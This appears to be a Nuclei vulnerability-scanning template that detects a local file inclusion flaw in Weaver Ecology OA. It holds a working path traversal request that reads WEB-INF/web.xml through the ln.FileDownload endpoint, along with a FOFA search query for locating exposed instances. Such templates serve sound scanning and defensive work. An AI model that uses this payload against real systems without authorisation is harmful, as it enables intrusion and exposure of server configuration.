id: ecology-filedownload-directory-traversal

info:
  name: Ecology - Local File Inclusion
  author: princechaddha
  severity: high
  description: Ecology is vulnerable to local file inclusion.
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
    fofa-query: app="泛微-协同办公OA"
  tags: ecology,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/weaver/ln.FileDownload?fpath=../ecology/WEB-INF/web.xml"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "<url-pattern>/weaver/"
        part: body
# digest: 490a0046304402207b82d7ae3ad5d69a72d16cbc3fac3e1708e3d55c71d79ee77a1aff0bdf966cb902200d3abeda7038a87b17003ac5e93ceab97285410c5edb1b034c69d90ccdbb71b1:922c64590222798bb761d5b6d8e72950